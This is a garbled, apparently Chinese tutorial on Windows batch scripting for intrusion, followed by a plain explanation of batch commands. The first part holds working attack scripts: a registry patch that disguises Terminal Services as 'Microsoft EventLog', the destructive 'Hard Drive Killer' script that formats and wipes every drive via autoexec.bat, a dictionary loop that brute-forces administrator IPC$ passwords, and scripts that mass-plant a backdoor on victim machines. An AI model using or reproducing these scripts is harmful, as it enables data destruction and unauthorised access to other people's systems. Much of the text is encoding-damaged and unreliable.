@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message? >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389q接Q端口ؓ(f)8210(十六q制?0002012)Q名UCؓ(f)Microsoft EventLogQ留条后路]
3.Hard Drive Killer Pro Version 4.0Q玩批处理到q个水^真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem Opposite of binary rules. If 0, it will elaps to the next command.
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 0, then it will elaps to the next command.
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
del drivechk.bat >nul
if %drive.==. set drive=c
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0.
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to
echo echo 1. To make people aware that security should not be taken for granted.
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did!
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
call attrib +r +h c:\temp.bat >nul
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get
]]>
批处理命令大?/strong>
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o(h)显C当前回显设|?br>语法
echo [{on|off}] [message]
SampleQecho off / echo hello world
在实际应用中我们?x)把q条命o(h)和重定向W号Q也UCؓ(f)道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?br>
2.@ 命o(h)
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br>SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o(h)是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L(fng)?
3.Goto 命o(h)
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o(h)?br>语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?br>if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面?x)有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:(x)用来表示q个字母是标{,goto命o(h)是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才?x)理解你的意囑֕?br>
4.Rem 命o(h)
注释命o(h)Q在C语言中相当与/*--------*/,它ƈ不会(x)被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br>Rem Message
SampleQ@Rem Here is the description.
5.Pause 命o(h)
q行 Pause 命o(h)Ӟ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?br>@echo off
:begin
copy a:*.* dQ\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示(zhn)将另一张磁盘放入驱动器 A Ӟpause 命o(h)?x)ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理?br>
6.Call 命o(h)
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o(h)接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它?yu)不会(x)在命o(h)行v作用?br>语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?br>
7.start 命o(h)
调用外部E序Q所有的DOS命o(h)和命令行E序都可以由start命o(h)来调用?br>入R常用参数Q?br>MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?br>REALTIME ?REALTIME 优先U类别开始应用程?br>WAIT 启动应用E序q等候它l束
parameters q些Z送到命o(h)/E序的参?br>执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o(h)脚本内执行,该新行ؓ(f)则不?x)发生?br>8.choice 命o(h)
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o(h)。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234……
? choice /c:dme defrag,mem,end
显C?br>defrag,mem,end[D,M,E]?
SampleQ?br>Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?br>
9.If 命o(h)
if 表示判断是否符合规定的条gQ从而决定执行不同的命o(h)?有三U格?
1、if "参数" == "字符? 待执行的命o(h)
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文g?待执行的命o(h)
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br>如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命o(h)
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br>如if errorlevel 2 goto x2
DOSE序q行旉?x)返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???br>
10.for 命o(h)
for 命o(h)是一个比较复杂的命o(h)Q主要用于参数在指定的范围内循环执行命o(h)?br>在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br>(set) 指定一个或一l文件。可以用通配W?br>command 指定Ҏ(gu)个文件执行的命o(h)?br>command-parameters 为特定命令指定参数或命o(h)行开兟?br>在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
如果命o(h)扩展名被启用Q下列额外的 FOR 命o(h)格式?x)受?br>支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配W,则指定与目录名匹配,而不与文?br>名匹配?br>
FOR /R [[drive:]path] %variable IN (set) DO command [command-
查以 [drive:]path 为根的目录树(wi)Q指向每个目录中?br>FOR 语句。如果在 /R 后没有指定目录,则用当?br>目录。如果集仅ؓ(f)一个单?.)字符Q则枚D该目录树(wi)?br>
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量Ş式从开始到l束的一个数字序列?br>因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br>序列 (5 4 3 2 1)?br>
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果?usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br>处理包括d文gQ将其分成一行行的文字,然后每?br>解析成零或更多的W号。然后用已找到的W号字符串变量?br>调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。?zhn)可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br>delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br>默认分隔W集?br>tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这?x)导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br>usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命o(h)q允许在 fi
中用双引号扩v文g名称?br>
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
?x)分?myfile.txt 中的每一行,忽略以分h头的那些行,?br>每行中的W二个和W三个符号传递给 for E序体;用逗号??br>I格定界W号。请注意Q这?for E序体的语句引用 %i ?br>取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,(zhn)需要用双引号将文g名括h。ؓ(f)了用q种方式来
用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会(x)
被理解成是用作定义某个要分析的字W串的?br>
%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。?zhn)可以通过 tokens= 一?br>指定最?26 个符P只要不试图说明一个高于字?z ?br>Z 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?br>
(zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br>用单引号括号之间的 filenameset 括v来。这P该字W?br>串会(x)被当作一个文件中的一个单一输入行?br>
最后,(zhn)可以用 FOR /F 命o(h)来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会(x)
被当作命令行Q传递到一个子 CMD.EXEQ其输出?x)被抓?br>内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
?x)枚丑ֽ前环境中的环境变量名U?br>
另外QFOR 变量参照的替换已被增强。?zhn)现在可以使用下?br>选项语法:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br>%~dI - 仅将 %I 扩充C个驱动器?br>%~pI - 仅将 %I 扩充C个\?br>%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br>%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br>未被定义Q或者没有找到文Ӟ此组合键?x)扩?br>I字W串
可以l合修饰W来得到多重l果:
%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br>%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br>%~ftzaI - ?%I 扩充到类D出线路的 DIR
在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?br>
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o(h)在入侵中的用途?br>
sample2Q?br>
利用For命o(h)来实现对一台目标Win2kL的暴力密码破解?br>我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br>最主要的命令是一条:(x)for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o(h)来连接。然后将E序q行l果传递给find命o(h)Q-
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命o(h)成功完成">>D:\ok.txt Q这样就ko了?br>
sample3Q?br>
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会(x)变得很郁P(x)Q。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃(x)明白了?br>
主要命o(h)也只有一条:(x)Q在批处理文件中使用 FOR 命o(h)Ӟ指定变量使用 %%variableQ?br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br>而cultivate.bat无非是用net use命o(h)来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br>delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br>代码雏ŞQ?br>
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br>可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?
]]>
批处理的介绍
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文g?/p>
==== willsort ~注 =======================================
.bat是dos下的批处理文?br>.cmd是nt内核命o(h)行环境的另一U批处理文g
从更q义的角度来看,unix的shell脚本以及(qing)其它操作pȝ甚至应用E序中由外壳q行解释执行的文本,都具有与批处理文件十分相似的作用Q而且同样是由专用解释器以行ؓ(f)单位解释执行Q这U文本Ş式更通用的称谓是脚本语言。所以从某个E度分析Qbatch, unix shell, awk, basic, perl {脚本语a都是一L(fng)Q只不过应用的范围和解释的^台各有不同而已。甚x些应用程序仍然沿用批处理q一U呼Q而其内容和扩展名与dos的批处理却又完全不同?br>===================================
首先批处理文件是一个文本文Ӟq个文g的每一行都是一条DOS命o(h)Q大部分时候就好象我们在DOS提示W下执行的命令行一PQ你可以使用DOS下的Edit或者Windows的记事本(notepad){Q何文本文件编辑工具创建和修改批处理文件?/p>
==== willsort 题注 ===================
批处理文件中完全可以使用非dos命o(h)Q甚臛_以用不h可执行特性的普通数据性文Ӟq缘于windowspȝq个新型解释q_的涉入,使得批处理的应用来?边缘?。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动?br>========================
其次Q批处理文g是一U简单的E序Q可以通过条g语句(if)和流E控制语?goto)来控制命令运行的程Q在批处理中也可以用@环语?for)来@环执行一条命令。当Ӟ批处理文件的~程能力与C语言{编E语句比h是十分有限的Q也是十分不规范的。批处理的程序语句就是一条条的DOS命o(h)Q包括内部命令和外部命o(h)Q,而批处理的能力主要取决于你所使用的命令?/p>
==== willsort ~注 ==================
批处理文?batch file)也可以称之ؓ(f)批处理程?batch program)Q这一点与~译型语a有所不同Q就c语言来说Q扩展名为c或者cpp的文件可以称之ؓ(f)c语言文g或者c语言源代码,但只有编译连接后的exe文g才可以称之ؓ(f)c语言E序。因为批处理文g本n既具有文本的可读性,又具有程序的可执行性,q些U谓的界限是比较模糊的?br>===========================
W三Q每个编写好的批处理文g都相当于一个DOS的外部命令,你可以把它所在的目录攑ֈ你的DOS搜烦路径(path)中来使得它可以在L位置q行。一个良好的?fn)惯是在盘上徏立一个bat或者batch目录Q例如C:\BATCHQ,然后所有你~写的批处理文g攑ֈ该目录中Q这样只要在path中设|上c:\batchQ你可以在L位置q行所有你~写的批处理E序?/p>
==== willsort ~注 =====
U以dospȝ而言Q可执行E序大约可以l分Zc,依照执行优先U由高到低排列分别是QDOSKEY宏命令(预先ȝ内存Q,COMMAND.COM中的内部命o(h)Q根据内存的环境随时q驻内存Q,以com为扩展名的可执行E序Q由command.com 直接载入内存Q,以exe位扩展名的可执行E序Q由command.com 重定位后载入内存Q,以bat位扩展名的批处理E序Q由command.com 解释分析Q根据其内容按优先序调用W?Q?Q?Q?U可执行E序Q分析一行,执行一行,文g本n不蝲入内存)
============
W四Q在DOS和W(xu)in9x/Mepȝ下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动q行批处理文Ӟ每次pȝ启动时会(x)自动q行该文Ӟ你可以将pȝ每次启动旉要运行的命o(h)攑օ该文件中Q例如设|搜索\径,调入鼠标驱动和磁盘缓存,讄pȝ环境变量{。下面是一个运行于Windows 98下的autoexec.bat的示例:(x)
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;
C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
==== willsort ~注 =====
AUTOEXEC.BAT为DOSpȝ的自动运行批处理文gQ由COMMAND.COM启动时解释执行;
而在Win9x环境中,不仅增加支持?DOSSTART.BAT, WINSTART.BAT {许多其它自动运行的批处理文Ӟ对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS {许多变体以适应复杂的环境和多变的需求?br>==== willsort ~注 =============
以下关于命o(h)的分c,有很多值得推敲的地斏V常用命令中的@本不是命令,而dir、copy{也很常用的命o(h)却没有列? 而特D命令中所有命令对我来说都是常用命令。徏议将批处理所引用的命令分为内部命令、外部命令、第三方E序三类。而内部命令和外部命o(h)中别有一cL专用于或常用于批处理中的命o(h)可称之ؓ(f)"批处理命??/p>
以下摘录MS-DOS 6.22 帮助文档中关?批处理命?的文字,当然Q其中有些概念和定义已经有些落后了?/p>
批处理命?/p>
批处理文件或批处理程序是一个包含若qMS-DOS命o(h)的正文文Ӟ扩展名ؓ(f).BAT。当在命令提C符下敲入批处理E序的名U时QMS-DOS成组执行此批处理E序中的命o(h)?/p>
M在命令提C符下可使用的命令都可用在批处理E序中。此外,下面MS-DOS命o(h)是专门在批处理程序中使用的?br>==========
常用命o(h)
echo、@、call、pause、rem(技巧:(x)?:代替rem)是批处理文g最常用的几个命令,我们׃他们开始学赗?/p>
==== willsort ~注 ===========
首先, @ 不是一个命? 而是DOS 批处理的一个特D标记符, 仅用于屏蔽命令行回显. 下面是DOS命o(h)行或批处理中可能?x)见到的一些特D标记符:
CR(0D) 命o(h)行结束符
Escape(1B) ANSI转义字符引导W?br>Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定W?br>+ COPY命o(h)文gq接W?br>* ? 文g通配W?br>"" 字符串界定符
| 命o(h)道W?br>< > >> 文g重定向符
@ 命o(h)行回昑ֱ蔽符
/ 参数开兛_导符
: 批处理标{ּ导符
% 批处理变量引导符
其次, :: 实可以起到rem 的注释作? 而且更简z有? 但有两点需要注?
W一, 除了 :: 之外, M?:开头的字符? 在批处理中都被视作标? 而直接忽略其后的所有内? 只是Z与正常的标号相区? 使用 goto 所无法识别的标? 卛_ :后紧跟一个非字母数字的一个特D符?
W二, 与rem 不同的是, ::后的字符行在执行时不?x)回? 无论是否用echo on打开命o(h)行回昄? 因ؓ(f)命o(h)解释器不认ؓ(f)他是一个有效的命o(h)? 此Ҏ(gu)? rem 在某些场合下比 :: 更ؓ(f)适用; 另外, rem 可以用于 config.sys 文g?
=====================
echo 表示昄此命令后的字W?br>echo off 表示在此语句后所有运行的命o(h)都不昄命o(h)行本w?br>@与echo off相象Q但它是加在每个命o(h)行的最前面Q表C行时不显C一行的命o(h)行(只能影响当前行)?br>call 调用另一个批处理文gQ如果不用call而直接调用别的批处理文gQ那么执行完那个批处理文件后无法返回当前文件ƈ执行当前文g的后l命令)?br>pause q行此句?x)暂停批处理的执行ƈ在屏q上昄Press any key to continue...的提C,{待用户按Q意键后l?br>rem 表示此命令后的字Wؓ(f)解释行(注释Q,不执行,只是l自׃后参考用的(相当于程序中的注释)?br>==== willsort ~注 =====
此处的描q较为? 不如直接引用个命令的命o(h)行帮助更为条?/p>
-------------------------
ECHO
当程序运行时Q显C或隐藏批处理程序中的正文。也可用于允许或止命o(h)的回显?/p>
在运行批处理E序ӞMS-DOS一般在屏幕上显C(回显Q批处理E序中的命o(h)?br>使用ECHO命o(h)可关闭此功能?/p>
语法
ECHO [ON|OFF]
若要用echo命o(h)昄一条命令,可用下述语法Q?/p>
echo [message]
参数
ON|OFF
指定是否允许命o(h)的回显。若要显C当前的ECHO的设|,可用不带参数的ECHO
命o(h)?/p>
message
指定让MS-DOS在屏q上昄的正文?/p>
-------------------
CALL
从一个批处理E序中调用另一个批处理E序Q而不?x)引L(fng)一个批处理的中止?/p>
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字?qing)其存放处。文件名必须?BAT作扩展名?/p>
batch-parameters
指定批处理程序所需的命令行信息?/p>
-------------------------------
PAUSE
暂停批处理程序的执行q显CZ条消息,提示用户按Q意键l箋执行。只能在批处
理程序中使用该命令?/p>
语法
PAUSE
REM
在批处理文g或CONFIG.SYS中加入注解。也可用REM命o(h)来屏蔽命令(在CONFIG.SYS
中也可以用分?;)代替REM命o(h)Q但在批处理文g中则不能替代Q?/p>
语法
REM [string]
参数
string
指定要屏蔽的命o(h)或要包含的注解?br>=======================
?Q用edit~辑a.bat文gQ输入下列内容后存盘为c:\a.batQ执行该批处理文件后可实玎ͼ(x)根目录中所有文件写?a.txt中,启动UCDOSQ进入WPS{功能?/p>
批处理文件的内容? 命o(h)注释Q?/p>
@echo off 不显C后l命令行?qing)当前命令?br> dir c:\*.* >a.txt c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 昄"你好"
pause 暂停,{待按键l箋
rem 准备q行wps 注释Q准备运行wps
cd ucdos q入ucdos目录
wps q行wps
批处理文件的参数
批处理文件还可以像C语言的函C样用参敎ͼ相当于DOS命o(h)的命令行参数Q,q需要用C个参数表C符"%"?/p>
%[1-9]表示参数Q参数是指在q行批处理文件时在文件名后加的以I格Q或者TabQ分隔的字符丌Ӏ变量可以从%0?9Q?0表示批处理命令本w,其它参数字符串用%1?9序表示?/p>
?QC:根目录下有一批处理文件名为f.batQ内容ؓ(f)Q?br>@echo off
format %1
如果执行C:\>f a:
那么在执行f.batӞ%1pCa:Q这样format %1q当于format a:Q于是上面的命o(h)q行时实际执行的是format a:
?QC:根目录下一批处理文件名为t.batQ内容ؓ(f):
@echo off
type %1
type %2
那么q行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将序地显Ca.txt和b.txt文g的内宏V?/p>
==== willsort ~注 ===============
参数在批处理中也作ؓ(f)变量处理, 所以同样用百分号作ؓ(f)引导W? 其后?-9中的一个数字构成参数引用符. 引用W和参数之间 (例如上文中的 %1 ?a: ) 的关pȝg变量指针与变量值的关系. 当我们要引用W十一个或更多个参数时, 必ȝ动DOS 的参数v始指? shift 命o(h)正充当了q个Ud指针的角? 它将参数的v始指针移动到下一个参? cMC 语言中的指针操作. 囄如下:
初始状? cmd 为命令名, 可以?%0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
l过1ơshift? cmd 无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
l过2ơshift? arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS下均不支?shift 的逆操? 只有?nt 内核命o(h)行环境下, shift 才支?/n 参数, 可以以第一参数为基准返复移动v始指?
====================
Ҏ(gu)命o(h)
if goto choice for是批处理文g中比较高U的命o(h)Q如果这几个你用得很熟练Q你是批处理文件的专家啦?/p>
一、if 是条件语句,用来判断是否W合规定的条Ӟ从而决定执行不同的命o(h)?有三U格?
1、if [not] "参数" == "字符? 待执行的命o(h)
参数如果{于(not表示不等Q下?指定的字W串Q则条g成立Q运行命令,否则q行下一句?/p>
例:(x)if "%1"=="a" format a:
==== willsort ~注
if 的命令行帮助中关于此点的描述?
IF [NOT] string1==string2 command
在此有以下几炚w要注?
1. 包含字符串的双引号不是语法所必须? 而只是习(fn)惯上使用的一U?防空"字符
